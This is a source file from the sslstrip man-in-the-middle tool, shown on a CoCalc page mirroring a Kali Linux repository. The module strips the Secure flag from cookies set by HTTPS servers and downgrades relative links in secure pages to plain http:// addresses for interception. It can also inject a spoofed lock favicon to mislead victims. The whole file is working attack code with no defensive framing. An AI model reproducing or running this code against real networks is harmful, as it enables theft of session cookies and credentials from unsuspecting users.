Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
nu11secur1ty
GitHub Repository: nu11secur1ty/Kali-Linux
 Path: blob/master/sslstrip-work-2019/sslstrip/SSLServerConnection.py
1306 views
1
# Copyright (c) 2004-2009 Moxie Marlinspike

2
#

3
# This program is free software; you can redistribute it and/or

4
# modify it under the terms of the GNU General Public License as

5
# published by the Free Software Foundation; either version 3 of the

6
# License, or (at your option) any later version.

7
#

8
# This program is distributed in the hope that it will be useful, but

9
# WITHOUT ANY WARRANTY; without even the implied warranty of

10
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU

11
# General Public License for more details.

12
#

13
# You should have received a copy of the GNU General Public License

14
# along with this program; if not, write to the Free Software

15
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307

16
# USA

17
#

18


19
import logging, re, string

20


21
from ServerConnection import ServerConnection

22


23
class SSLServerConnection(ServerConnection):

24


25
    ''' 

26
    For SSL connections to a server, we need to do some additional stripping.  First we need

27
    to make note of any relative links, as the server will be expecting those to be requested

28
    via SSL as well.  We also want to slip our favicon in here and kill the secure bit on cookies.

29
    '''

30


31
    cookieExpression   = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE)

32
    cssExpression      = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE)

33
    iconExpression     = re.compile(r"<link rel=\"shortcut icon\" .*href=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE)

34
    linkExpression     = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE)

35
    headExpression     = re.compile(r"<head>", re.IGNORECASE)

36


37
    def __init__(self, command, uri, postData, headers, client):

38
        ServerConnection.__init__(self, command, uri, postData, headers, client)

39


40
    def getLogLevel(self):

41
        return logging.INFO

42


43
    def getPostPrefix(self):

44
        return "SECURE POST"

45


46
    def handleHeader(self, key, value):

47
        if (key.lower() == 'set-cookie'):

48
            value = SSLServerConnection.cookieExpression.sub("\g<1>", value)

49


50
        ServerConnection.handleHeader(self, key, value)

51


52
    def stripFileFromPath(self, path):

53
        (strippedPath, lastSlash, file) = path.rpartition('/')

54
        return strippedPath

55


56
    def buildAbsoluteLink(self, link):

57
        absoluteLink = ""

58
        

59
        if ((not link.startswith('http')) and (not link.startswith('/'))):                

60
            absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link

61


62
            logging.debug("Found path-relative link in secure transmission: " + link)

63
            logging.debug("New Absolute path-relative link: " + absoluteLink)                

64
        elif not link.startswith('http'):

65
            absoluteLink = "http://"+self.headers['host']+link

66


67
            logging.debug("Found relative link in secure transmission: " + link)

68
            logging.debug("New Absolute link: " + absoluteLink)                            

69


70
        if not absoluteLink == "":                

71
            absoluteLink = absoluteLink.replace('&amp;', '&')

72
            self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink);        

73


74
    def replaceCssLinks(self, data):

75
        iterator = re.finditer(SSLServerConnection.cssExpression, data)

76


77
        for match in iterator:

78
            self.buildAbsoluteLink(match.group(1))

79


80
        return data

81


82
    def replaceFavicon(self, data):

83
        match = re.search(SSLServerConnection.iconExpression, data)

84


85
        if (match != None):

86
            data = re.sub(SSLServerConnection.iconExpression,

87
                          "<link rel=\"SHORTCUT ICON\" href=\"/favicon-x-favicon-x.ico\">", data)

88
        else:

89
            data = re.sub(SSLServerConnection.headExpression,

90
                          "<head><link rel=\"SHORTCUT ICON\" href=\"/favicon-x-favicon-x.ico\">", data)

91
            

92
        return data

93
        

94
    def replaceSecureLinks(self, data):

95
        data = ServerConnection.replaceSecureLinks(self, data)

96
        data = self.replaceCssLinks(data)

97


98
        if (self.urlMonitor.isFaviconSpoofing()):

99
            data = self.replaceFavicon(data)

100


101
        iterator = re.finditer(SSLServerConnection.linkExpression, data)

102


103
        for match in iterator:

104
            self.buildAbsoluteLink(match.group(10))

105


106
        return data

107


108